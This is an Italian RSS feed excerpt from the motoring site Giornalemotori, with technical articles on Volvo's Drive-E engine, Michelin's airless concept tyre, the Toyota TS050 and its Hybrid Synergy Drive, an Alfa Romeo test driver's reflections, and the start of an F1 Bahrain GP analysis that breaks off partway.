				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Tutte le versioni del propulsore hanno in comune oltre al numero di cilindri 4 in linea, la cilindrata di 1.969cc, ed alimentazione ad iniezione diretta di benzina. La cilindrata è ottenuta con un alesaggio di 82mm per una corsa di 93.2mm, con basamento e testa in alluminio, sovralimentati con iniezione diretta ed intercooler.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-69708" src="https://www.giornalemotori.com/wp-content/uploads//2017/09/web-10be-volvo-s60-300x169.jpg" alt="web 10be volvo s60" width="300" height="169" title="Best Engine | Il motore 2.0 Litri Drive-e T5 e T6 di Volvo 859">Abbiamo già parlato della rinascita Volvo in occasione della prova della nuova XC60. Il costruttore svedese ha messo in campo una famiglia di motori, basati su un&#8217;architettura unica a 4 cilindri, 2.0 litri turbo, modulare, abbinabile facilmente ad ogni modello della gamma. La sua caratteristica di modularità consente ai tecnici Volvo di poterne ricavare anche una versione meno potenza ma più compatta a versatile 3 cilindri di 1.5 litri adatta alla prossima generazione XC40.  Un motorizzazione nasce per adattarsi facilmente alla tecnologia ibrida in linea con gli annunci di Volvo di avere almeno un modello ibrido per ogni segmento in cui sarà presente. Un passaggio obbligato per arrivare all&#8217;obiettivo di avere un elettrificazione diffusa su tutta la gamma per il prossimo decennio. Una scelta quella di puntare su un solo frazionamento a 4 cilindri 2.0 litri denominato Drive-e, che ha consentito di limitare i costi potendo condividere i componenti, ma soddisfacendo ogni richiesta di potenza anche per quei clienti particolarmente esigenti.  Tutte le versioni del propulsore hanno in comune oltre al numero di cilindri 4 in linea, la cilindrata di 1.969cc, ed alimentazione ad iniezione diretta di benzina. La cilindrata è ottenuta con un alesaggio di 82mm per una corsa di 93.2mm, con basamento e testa in alluminio, sovralimentati con iniezione diretta ed intercooler. Per migliorare l&#8217;efficienza e le perdite di rendimento  tutti i propulsori hanno in comune l&#8217;adozione  della pompa dell&#8217;acqua elettrica. La differenza tra le motorizzazioni viene contraddistinta dalla sigla T5 e T6 quest&#8217;ultima anche nella recentissima versione modificata dal reparto sportivo della casa svedese Polestar.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-69709" src="https://www.giornalemotori.com/wp-content/uploads//2017/09/10be-specs-volvo-20l-300x169.jpg" alt="10be specs volvo 20l" width="300" height="169" title="Best Engine | Il motore 2.0 Litri Drive-e T5 e T6 di Volvo 860"> La versione T5, eroga una potenza di eroga 245 CV a 5500rpm e 350 Nm  di coppia disponibile tra i 1500rpm e 4800rpm. Il rapporto di compressione in questo caso si abbassa a 8.6:1.  Poi c&#8217;è il top di gamma rappresentato dal T6 con una potenza di 306cv a 5700rpm per un coppia di 400Nm erogati tra i 2100rpm e 4800rpm.  Questo step evolutivo prevede l&#8217;adozione di una doppia sovralimentazione composta da un compressore volumetrico che alimenta i regimi medio bassi e la classica turbina per spingere ai regimi medio alti. In questo caso i tecnici Volvo sono intervenuti anche sulla parte calda del motore, modificando le intercapedini aumentando la portata del liquido di raffreddamento, ed anche del rivestimento superficiale della testa per una maggiore resistenza alle alte temperature generate dalla maggiore pressione si sovralimentazione. Le modifiche hanno interessato anche l&#8217;impianto di scarico in prossimità del catalizzatore per evitare dannose contropressioni in fase di evacuazione dei gas di scarico.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-69710" src="https://www.giornalemotori.com/wp-content/uploads//2017/09/2015-10be-volvo-s60-300x169.jpg" alt="2015 10be volvo s60" width="300" height="169" title="Best Engine | Il motore 2.0 Litri Drive-e T5 e T6 di Volvo 861">Una volta messo mano allo scarico non si può non intervenire anche sulla fase di aspirazione per consentire un migliore ed ottimale riempimento della miscela nella camera di combustione. Per quello che riguarda la parte fredda del motore, ci sono nuovi cuscinetti di banco ridotti di diametro da 60mm a 53mm, migliorando il coefficiente di attrito. L&#8217;iniezione diretta è progettata e fornita dalla Denso. Per la sovralimentazione Eaton fornisce il compressore, mentre a Borg-Wamer è affidata la progettazione e dimensionamento del turbocompressore. Su questa versione Top di gamma è intervenuta la divisione sportiva Polestar che prepara le vetture della gamma prestazionale del costruttore svedese.  L&#8217;intervento della divisione sportiva ha portato la potenza a 362cv a 6000rpm con un valore di coppia di 470Nm disponibile da 3100rpm a 5100 rpm. raggiungendo una potenza specifica di 184cv/litro.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-69711" src="https://www.giornalemotori.com/wp-content/uploads//2017/09/specs-box-volvo-300x169.jpg" alt="specs box volvo" width="300" height="169" title="Best Engine | Il motore 2.0 Litri Drive-e T5 e T6 di Volvo 862">Per raggiungere un valore così elevato ai vertici della categoria, i tecnici svedesi hanno messo mano ad alcuni parametri come l&#8217;abbassamento del rapporto di compressione sceso ulteriormente a 8,3:1. Sono state rinforzate le bielle per far fronte alla maggiore pressione sul cielo del pistone, la rielaborazione degli alberi a camme sia in aspirazione che scarico con un nuovo aggiornamento anche per le molle delle valvole.  Per ottenere più potenza è stato adottato un turbocompressore maggiorato con una pressione di picco portata a 2.0 Bar in fase di boost. Una turbina in grado di erogare una pressione partendo da un valore di 65kPa fino a raggiungere la massima di 295kPa. Ancora una volta si è intervenuto modificando l&#8217;impianto di scarico maggiorato nelle dimensioni del collettore.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-69712" src="https://www.giornalemotori.com/wp-content/uploads//2017/09/bw-00081-300x200.jpg" alt="bw 00081" width="300" height="200" title="Best Engine | Il motore 2.0 Litri Drive-e T5 e T6 di Volvo 863">Questa ultima evoluzione del motore denominato B4204T9,  consente alla Volvo V60 T6R Polestar prestazioni di altissimo livello con un accelerazione sullo 0-100Km/h di 4,5s per una velocità massima autolimitata di 250km/h.  La gamma di motori modulari Volvo, oltre a raccogliere premi e riconoscimenti, dimostra che avere i capitali non basta se non c&#8217;è la capacità tecnica di dare vita ad un ottimo progetto. Un tipo di motorizzazione che per erogazione e piacere di guida non lascia rimpiangere unità propulsive plurifrazionate di analoga potenza, potendo contare su un peso ed un ingombro contenuto, maggiore efficienza e migliore capacità di adattamento anche con le diverse tecnologia soprattutto quella ibrida come la versione della Volvo XC90  e XC60 T8 Hybrid che arriva a sviluppare una potenza di 407cv grazie all&#8217;aggiunta della propulsione elettrica posteriore che sarà oggetto di focus tecnico a parte. La base tecnica di questo propulsore ha consentito di dare vita alla rispettiva gamma Turbodiesel che ha preso le denominazione  D4-190cv, D5-235cv oggetto della nostra prova sulla nuova XC60.</p>
<p style="text-align: justify"><strong>Daniele Amore </strong></p>
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		<title>Michelin &#124; Il futuro della ruota con il Visionary Concept</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 23 Jul 2017 08:44:31 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Un futuro utopistico a cui però Michelin ha dato una risposta. Il visionary concept è una ruota completa che soddisfa tutte queste caratteristiche di mobilità, con un occhio particolare all'efficienza ed al rispetto per l'ambiente.  </p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/07/23/michelin-visionary-concept/">Michelin | Il futuro della ruota con il Visionary Concept</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68666" src="https://www.giornalemotori.com/wp-content/uploads//2017/07/actu_vista_400x400-300x300.jpg" alt="actu vista 400x400" width="300" height="300" title="Michelin | Il futuro della ruota con il Visionary Concept 864" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/07/actu_vista_400x400-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/07/actu_vista_400x400-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/07/actu_vista_400x400.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" />Il pneumatico, un degli elementi fondamentali per ogni veicolo, a due come a quattro ruote, di serie come da competizione. Un elemento complesso in grado di fare la differenza in prestazioni, confort ma soprattutto in sicurezza. Il pneumatico oltre ad avere i suddetti pregi, ha anche il difetto cronico di dover essere smaltito una volta percorsa la vita utile. Le sue componenti sono molteplici, dai polimeri in gomma, ai materiali che compongono la carcassa. Oggi lo smaltimento di un pneumatico per legge, è scaricato sulle spalle dell&#8217;automobilista con l&#8217;aggiunta la conto finale quanto vengono sostituiti, sulla fattura oggi il gommista aggiunge una  voce smaltimento. Sarebbe bello avere un pneumatico che conserva tutte le sue caratteristiche di prestazioni, confort e sicurezza ma anche biodegradabile. Un futuro utopistico a cui però Michelin ha dato una risposta. Il visionary concept è una ruota completa che soddisfa tutte queste caratteristiche di mobilità, con un occhio particolare all&#8217;efficienza ed al rispetto per l&#8217;ambiente.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68667" src="https://www.giornalemotori.com/wp-content/uploads//2017/07/michelin-visionary-concept-tire-live-at-movinon-montreal-300x169.jpg" alt="michelin visionary concept tire live at movinon montreal" width="300" height="169" title="Michelin | Il futuro della ruota con il Visionary Concept 865">Si tratta di una ruota unica senz&#8217;aria in pressione, <b> airless</b>, progettata per durare la stessa vita del veicolo con al centro, dove oggi c&#8217;è il cerchio in lega o acciaio, una struttura a nido d&#8217;ape che imita nel suo comportamento,  pur essendo completamente sintetica composta da materiale completamente riciclabile, funzioni naturali come il  processo di crescita, tipiche presenti tanto nel regno vegetale o minerale in particolare come succede con le capacità rigenerative tipiche dei coralli.  Sulla struttura viene ricavato il battistrada generato da una  stampante 3D.  Il materiale, che compone lo strato superiore utilizza la tecnologia di polimerizzazione a freddo, offrendo le stesse prestazioni di un battistrada convenzionale, con la particolarità di essere completamente biodegradabile.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68668" src="https://www.giornalemotori.com/wp-content/uploads//2017/07/18755-michelin-visionary-concept-la-ruota-stampata-in-3d-che-si-rigenera1-300x169.jpg" alt="18755 michelin visionary concept la ruota stampata in 3d che si rigenera1" width="300" height="169" title="Michelin | Il futuro della ruota con il Visionary Concept 866">Nel caso in cui il battistrada si usura o necessita di cambiare disegno, tipologia e durezza della mescola nonche la profondità del tassello come per esempio quando si devono cambiare le condizioni di marcia dall&#8217;asfalto al fuori strada, o si affrontano pioggia, neve, caldo intenso,  è possibile stampare il battistrada in apposite stazioni in pochi minuti sfruttando tecnologia di stampa 3D  aggiungendo solo la quantità di materiale che occorre dove serve, senza sprechi o perdite in modo funzionale ed efficiente. Inoltre il Vision Concept di MICHELIN può anche comunicare  con il veicolo scambiando dati con il sistema di controllo. In macchina il conducente attraverso il sistema di infotainment, ma anche in remoto con le app del suo smartphone, viene  informato sullo stato di usura del battistrada programmando la ristampa, la scelta del tipo del tipo di scolpitura in funzione dell&#8217;uso e delle esigente del momento.</p>
<p style="text-align: justify">Un approccio al concetto di ruota che potrebbe innescare una vera e propria rivoluzione nel mondo dell&#8217;automotive. Se è vero come diceva Enzo Ferrari che le gomme consentono un recupero sul giro di secondi al fronte di un recupero di pochi decimi per concetti come aerodinamica e meccanica, allora anche nel caso della salvaguardia ambientale, la rivoluzione può arrivare partendo proprio da questo fondamentale e importantissimo componente. La speranza è che Michelin dia seguito alla sua visionaria immagine di ruota, e che magari venga seguita anche da altri costruttori facendo da volano anche per le aziende che lavorano nel campo della componentistica auto.</p>
<p><strong>Daniele Amore</strong></p>
<div class="youtube-embed" data-video_id="Tyc4Apyk2Rc "><iframe loading="lazy" title="A Visionary Concept Tire | Michelin" width="696" height="392" src="https://www.youtube.com/embed/Tyc4Apyk2Rc?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>&nbsp;</p>
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		<title>24H Le Mans &#124; La Toyota TS050, la nuova sfida</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 17 Jun 2017 05:03:24 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[FIA WEC]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La  Toyota  TS050, che partecipa al campionato mondiale endurance il WEC e la 24h di Le Mans 2017, rimane simile alla LMP1 che va a sostituire.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/06/17/24h-le-mans-toyota-ts050/">24H Le Mans | La Toyota TS050, la nuova sfida</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68120" src="https://www.giornalemotori.com/wp-content/uploads//2017/06/upTOY785.jpg" alt="upTOY785" width="300" height="115" title="24H Le Mans | La Toyota TS050, la nuova sfida 867">La  Toyota  TS050, che partecipa al campionato mondiale endurance il WEC e la 24h di Le Mans 2017, rimane simile alla LMP1 che va a sostituire. Le novità più importanti sono sotto pelle con un nuovo propulsore V6 2,4 litri twin-turbo accoppiato ad un sistema ibrido 8MJ.  Il sistema ibrido caratterizzato due MGU-Ks  cioè un motore-generatore per ciascun asse,  a differenza delle passate versioni dove si usavano per accumulare energia dei supercondensatori, nella TS050 si useranno delle batterie e ioni di litio.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68121" src="https://www.giornalemotori.com/wp-content/uploads//2017/06/uptoy1.jpg" alt="uptoy1" width="300" height="182" title="24H Le Mans | La Toyota TS050, la nuova sfida 868">Il motore è più piccolo e leggero ma soprattutto per raggiungere gli obiettivi imposti da regolamento che prevede una riduzione dei consumi del 7,5% utilizza  l&#8217; iniezione diretta con il passaggio alla categoria di 8MJ. Una serie di aggiornamenti che migliorano la coppia rispetto al propulsore precedente. La sfida dei tecnici giapponesi è stata quella di migliorare anche l&#8217;affidabilità con la riprogettazione del sistema di raffreddamento, inoltre la maggiore coppia erogata ha portato alla rielaborazione del riduttore che porta la potenza alle ruote. Dal punto di vista telaistico il sistema di sospensioni  è a doppio braccio oscillante con tiranti che azionano barre di torsione con un terzo elemento come ammortizzatore per la zona anteriore e posteriore.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68122" src="https://www.giornalemotori.com/wp-content/uploads//2017/06/upTOY89.jpg" alt="upTOY89" width="300" height="154" title="24H Le Mans | La Toyota TS050, la nuova sfida 869"> Il naso della vettura è stato sollevato leggermente per dare spazio alla nuova unità MGU-K in più c&#8217;è un evidente foro per il passaggio dell&#8217;aria anche se non è chiaro se vada ad alimentate il nuovo doppio profilo estrattore. Anche per la TS050 le fiancate hanno un andamento molto simile a quello che si vede per le Formula 1 con pance che devono ospitare masse radianti aumentate nelle dimensioni con un canale sottostante che controlla il flusso aria che arriva dall&#8217;interno delle ruote anteriori mediante una serie di pannelli e deflettori. Nelle ultime uscite si vede come davanti alle ruote posteriori c&#8217;è un restringimento che lascia scoperto un canale simile a quello delle Formula 1. Infine anche la Toyota ha lavorato tanto sul comparto freni con l&#8217;utilizzo di pinze Akebono.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-68124" src="https://www.giornalemotori.com/wp-content/uploads//2017/06/upTOY673.jpg" alt="upTOY673" width="300" height="170" title="24H Le Mans | La Toyota TS050, la nuova sfida 870">Molto particolare anche il lavoro fatto per disegnare la zona posteriore contraddistinta da profilo estrattore con nuovi end plane laterali simili per forma e dimensione a quelli che si sono visti sulla ultima versione della rivale Audi R18.  Le lamelle delle due aperture dietro le ruote posteriori sono state sostituite da profili aerodinamici più complessi. La zona posteriore della TS050 è molto particolare,  si parla infatti di un doppio diffusore simile a quello che venne usato dalla Brawn Gp nel 2009, ma non ci sono fori che alimentano il profilo estrattore, anche perchè vietati dal regolamento. Quindi non si comprende appieno la funzionalità di questa zona della LMP1 anche se è chiaro dal disegno che si tratta di un sistema di profilo estrattore molto simile alla F1.  Il sistema di raffreddamento vede delle nuove aperture anche per raffreddare con aria fresca il comparto turbocompressore, inoltre anche per la TS050 ci sono tre varianti di carrozzeria in funzione del carico aerodinamico che si vuole ottenere, quella per Le Mans dovrbbe essere a basso carico con qualche modifica alle appendici esterne con inserti per la carrozzeria di forma diversa. A Le Mans la Toyota ha introdotto un nuovo tipo di faro a LED.</p>
<p><strong>Daniele Amore</strong></p>
<p>.</p>
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		<title>Pillole di collaudo, Giorgio Langella : &#8220;Ricordati che la macchina si guida con il sedere!&#8221;</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 28 May 2017 10:53:45 +0000</pubDate>
				<category><![CDATA[Novità Auto]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Nella mia esperienza di tester, e di tecnico auto,  mi è stata offerta la possibilità di interagire con uno dei maestri del collaudo che risponde al nome di Giorgio Langella.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-67746" src="https://www.giornalemotori.com/wp-content/uploads//2017/05/14666105_10209856538522158_5227617340142785825_n-300x169.jpg" alt="14666105 10209856538522158 5227617340142785825 n" width="300" height="169" title="Pillole di collaudo, Giorgio Langella : &quot;Ricordati che la macchina si guida con il sedere!&quot; 871">Nella mia esperienza di tester, e di tecnico auto,  mi è stata offerta la possibilità di interagire con uno dei maestri del collaudo che risponde al nome di Giorgio Langella. Quando l&#8217;ho visto per la prima volta ho pensato guardando quell&#8217;<span class="text_exposed_show">ometto che per altezza, corporatura, è simile alle foto dei grandissimi del passato, che i grandi driver devono avere uno stampino da qualche parte. Il primo approccio di Giorgio è di non dire nulla,  si mette al volante e guida. Per lui la prima impressione è quella che per conta di più senza filtri, un&#8217;analisi immediata che gli fa capire a pelle la bontà dell&#8217;auto fin dai primi metri. Lo vedi instaurare un rapporto intimo con il mezzo a prescindere dalla potenza, lo farebbe con tutte le auto come ogni bravo collaudatore che si rispetti. Passando il tempo al suo fianco puoi solo cogliere le osservazioni di Giorgio, le puoi confrontare con le tue con una sicurezza che ti rasserena anche se corre come se non ci fosse un domani. Durante la prova dell&#8217;</span> Alfa Romeo Giulia &#8220;Blue&#8221; ( così affettuosamente chiamata da Giorgio), il Maestro ebbe da condividere che una affermazioni che gli appassionati pensano sia derivante da Niki Lauda, una frase passata alla storia nel film Rush <strong><em>&#8220;la macchina si guida con il sedere&#8221;</em></strong>  Giorgio ci disse che questa affermazione è un credo che viene tramandato dai collaudatori storici  dell&#8217;Alfa fin da prima della seconda guerra mondiale e via via fino alle generazioni più recenti. Per questo vogliamo portare la testimonianza di una delle legende del collaudo Alfa Romeo ai nostri lettori. E <strong><em>&#8220;RICORDATI CHE LA MACCHINA SI GUIDA COL “SEDERE”</em></strong></p>
<p style="text-align: justify"><strong><em><img decoding="async" class="alignleft size-medium wp-image-67747" src="https://www.giornalemotori.com/wp-content/uploads//2017/05/14731356_10209856539882192_8311185525890485355_n-300x203.jpg" alt="14731356 10209856539882192 8311185525890485355 n" width="300" height="203" title="Pillole di collaudo, Giorgio Langella : &quot;Ricordati che la macchina si guida con il sedere!&quot; 872">&#8220;Era questa una delle prime importanti frasi che i nuovi collaudatori si sentivano dire dai nostri Maestri Collaudatori Alfa Romeo. Quando i nostri Maestri Collaudatori dicevano a noi nuovi collaudatori che un’automobile si guida col “sedere”, e ci spiegavano il perché, in un primo momento pensavamo fosse una specie di scherzo, ma nel giro di poco tempo ci siamo accorti che non era una frase detta a caso, ma era una verità assoluta. Perché, seduti alla guida di una vettura per un collaudo (ma anche per la guida di tutti i giorni) ci accorgiamo che il “sedere”, inteso l’appoggio del fondo schiena sul cuscino sedile e la schiena allo schienale, è un centro informazioni per chi guida, perché in quel punto percepisce tutto del comportamento della vettura, anche prevedendo le future reazioni, esempio: vibrazioni trasmesse alla scocca, sulle quali si dovrà ricercarne la causa; comportamento in rettilineo delle sospensioni e comfort di marcia; comportamento in curva; comportamento dei pneumatici per valutarne eventuale irregolarità sia in rettilineo che in curva e così via. A questo potremmo aggiungere che anche i pollici sull’impugnatura del volante hanno la funzione di “recepire” informazioni importanti, esempio vibrazioni. Tutte queste informazioni arrivano, come detto, al “sedere”. Ed è come se chi guida fosse collegato ad una miriade di sensori a loro volta collegati ad ogni organo della vettura in movimento, e ancora, è come se di fronte a qualcosa di irregolare si accendesse una spia rossa sul quadro strumenti di bordo. In particolare il sedile guida, (come del resto il posto guida), è frutto di una ricerca tecnica, perché non è fatto esclusivamente per essere comodo, certo è importante, ma perché deve recepire tutte queste informazioni importanti per chi guida. Ecco perché quando si dice che l’auto si guida con il “sedere” sappiamo che è una verità</em></strong>.&#8221;</p>
<p><strong>Giorgio Langella</strong></p>
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		<title>Hybrid Tech &#124; Toyota Hybrid Synergy drive (HSD)</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 08 May 2017 09:06:52 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La Toyota è il brand che prima di tutti ha creduto nella tecnologia ibrida.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-67341" src="https://www.giornalemotori.com/wp-content/uploads//2017/05/NormalDriving-300x208.jpg" alt="NormalDriving" width="300" height="208" title="Hybrid Tech | Toyota Hybrid Synergy drive (HSD) 873">La Toyota è il brand che prima di tutti ha creduto nella tecnologia ibrida. L&#8217;esperienza pluri-decennale in questo campo ha consentito di creare un sistema particolarmente evoluto l&#8217; <em>Hybrid Synergy drive (HSD), </em>che sfrutta l&#8217;azione di un motore endotermico di 1.8 litri,  alimentato a benzina,  con funzionamento secondo il ciclo Atkinson, e due motori elettrici. Si tratta di un sistema che lavora in due modalità, una in serie con la connessione diretta tra il motore a benzina (MED) ed il primo motore elettrico (G1), separatamente c&#8217;è un secondo motore elettrico (G2) che funziona in parallelo.  Il collegamento dei due sistemi,  che di fatto porta anche il moto alle ruote,  avviene tramite una trasmissione epicicloidale appositamente studiata da Toyota.  A completare il tutto c&#8217;è una batteria che fornisce energia per la marcia.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-67342" src="https://www.giornalemotori.com/wp-content/uploads//2017/05/FullAccele-300x208.jpg" alt="FullAccele" width="300" height="208" title="Hybrid Tech | Toyota Hybrid Synergy drive (HSD) 874">Il sistema HSD di Toyota  sostituisce il classico automatico con l&#8217;elemento epicicloidale che si comporta come un CVT controllato elettronicamente che per similitudine la Toyota chiama e-CVT,  gestito da un unica unità di controllo.  In definitiva, la Toyota con l&#8217;HSD riesce ad avere il massimo dell&#8217;efficienza rendendosi più autonomo ed efficiente rispetto ai classici ibridi plug-in. Una vettura come la nuova Prius può circolare in modalità full elettrico usando solo G2 attingendo alla carica della batteria, mentre a G1  vengono lasciare funzioni di motorino di avviamento. A seconda delle condizioni e dello stile di guida del conducente,  la CPU regola il sistema in base alla posizione pedale acceleratore, le variazioni del percorso, condizioni di carico, stato carica batteria, utilizzo dei sistemi di bordo, richiedendo l&#8217;intervento del  motore endotermico più G1 mai collegati direttamente alle ruote passando per il per la gestione dell&#8217; e-CVT<strong>. </strong></p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-67343" src="https://www.giornalemotori.com/wp-content/uploads//2017/05/hybrid-synergy-drive-11-638-300x225.jpg" alt="hybrid synergy drive 11 638" width="300" height="225" title="Hybrid Tech | Toyota Hybrid Synergy drive (HSD) 875">Per<strong> </strong>quanto il sistema HSD di Toyota consente in certe condizioni di poter viaggiare anche in full elettrico con un azionamento manuale, il massimo dell&#8217;efficienza si ha quando il driver affida completamente la gestione automatica al  computer che provvede a decidere da solo quanta potenza deve usare ognuno dei tre motori, tenendo sempre carica la batteria, decidendo in tutta autonomia  quando conviene andare in modalità completamente elettrico. Il computer gestisce i tre motori in modo che si possa avere sempre la massima coppia utilizzando al minimo la richiesta di energia sia che si tratti di benzina che di carica elettrica. La modalità di funzionamento prevede l&#8217;intervento del G2 in solitaria nelle condizioni di funzionamento da zero fino a richieste di media potenza, e prevede l&#8217;intervento del motore endotermico accoppiato a G1 da media potenza fino al massimo. Gli eccessi di coppia generati, vanno a ricaricare le batteria, cosa che avviene anche quando il veicolo è in fase di frenata mediante l&#8217;azione frenante di G1. Bisogna dire,  che per quanto complesso,  il sistema HSD di Toyota ha il pregio di essere quello che in assoluto sfrutta al massimo l&#8217;efficienza del motore endotermico con consumi ridotti al minimo, sfruttando la carica elettrica riducendo al minimo la possibilità di utilizzare sistemi di ricarica esterni, generando in modo autonomo l&#8217;energia che necessita a tutte le condizioni di funzionamento.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>F1 &#124; Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 20 Apr 2017 08:15:20 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La vittoria della Ferrari di Vettel nel Gp del Barhain ha soddisfatto abbastanza i tifosi della rossa quasi da rendere superflua un'analisi approfondita del Gran Premio. Siccome siamo abituati a guardare in bocca anche al cavallo donato abbiamo comunque analizzato ogni aspetto possibile della stupenda affermazione di Vettel in terra araba.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/04/20/f1-bahrain-debriefing-vettel-ferrari/">F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66943" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/formula_one_bahrain_grand_prix_2017-248x300.jpeg" alt="formula one bahrain grand prix 2017" width="248" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 876">La vittoria della Ferrari di Vettel nel Gp del Barhain ha soddisfatto abbastanza i tifosi della rossa quasi da rendere superflua un&#8217;analisi approfondita del Gran Premio. Siccome siamo abituati a guardare in bocca anche al cavallo donato abbiamo comunque analizzato ogni aspetto possibile della stupenda affermazione di Vettel in terra araba. Una premessa. Al termine della gara il Team Principal Arrivabene ha affermato che la Ferrari ha mostrato coraggio nel compiere un azzardo in qualifica, ed un&#8217;altro in gara nelle strategie per vincere la gara. L&#8217;affermazione di azzardo unita alla posizione in seconda fila della SF70H di Vettel ha consentito a tutti gli addetti ai lavori arrivare al ragionamento che la strategia fosse nell&#8217;avere una monoposto più carica aerodinamicamente rispetto alla Mercedes. In effetti, a guardare bene però, quando un tecnico di esperienza vuole azzardare qualcosa di solito non parla di caricare maggiormente il set up aerodinamico. Aumentare l&#8217;incidenza delle ali di solito non porta ad un rallentamento della monoposto nel computo del tempo sul giro totale. Anche in tracciati dove le curve sono meno rispetto ai rettilinei come Monza, la RedBull in passato ha dimostrato a suon di vittorie che è sempre meglio avere velocità in curva sacrificando in modo ragionevole la velocità sul dritto. Il tracciato del Barhain è veloce, ha quattro rettilinei,  ma le velocità massime sono paragonabili agli altri Tilkodromi, e come tutti i tracciati dell&#8217;architetto di Ecclestone,  c&#8217;è sempre una zona lenta che conta molto di più di quelle veloci, nel caso specifico il T2 del tracciato arabo.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-66957" src="https://www.giornalemotori.com/wp-content/uploads//2017/04/settori-qualifica-1-300x300.jpeg" alt="settori qualifica 1" width="300" height="300" title="F1 | Gp del Bahrain, Il debriefing per analizzare la vittoria di Vettel e della Ferrari 877" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/04/settori-qualifica-1-300x300.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/04/settori-qualifica-1-150x150.jpeg 150w, https://www.giornalemotori.com/wp-content/uploads/2017/04/settori-qualifica-1.jpeg 500w" sizes="(max-width: 300px) 100vw, 300px" /> Verificheremo la tesi analizzando prima la qualifica e poi la gara dividendola in tre tronconi.  Partendo dalla qualifica, possiamo vedere come la pole position di Bottas rispetto al compagno Hamilton, è stata maturata a parità di monoposto e di set up, da una diversa interpretazione del finlandese soprattutto del T1. Un punto del tracciato contraddistinto da una curva, la numero 1,  dove è fondamentale avere la capacità di mettere il piede sul gas prima di tutti e senza toglierlo in accelerazione per correggere le perdite di aderenza in accelerazione. Questo porta Bottas al termine del T1 dopo la curva 4  con un vantaggio che poi ha tenuto costantemente per tutto la restante parte del tracciato dove Hamilton era si più veloce ma non come il compagno nel solo T1. Questo ci dice che nonostante le prestazioni apparentemente inferiori al talento di Hamilton, Bottas ha una certa sensibilità nel comprendere quando è possibile accelerare costantemente dalle curve difficili in trazione come  cosa successa anche nei due Gp precedenti con le curve che portano sul traguardo, cosa che però può essere nociva quando si tratta di conservare pneumatici delicato come la mescola Rossa in gara.</p>
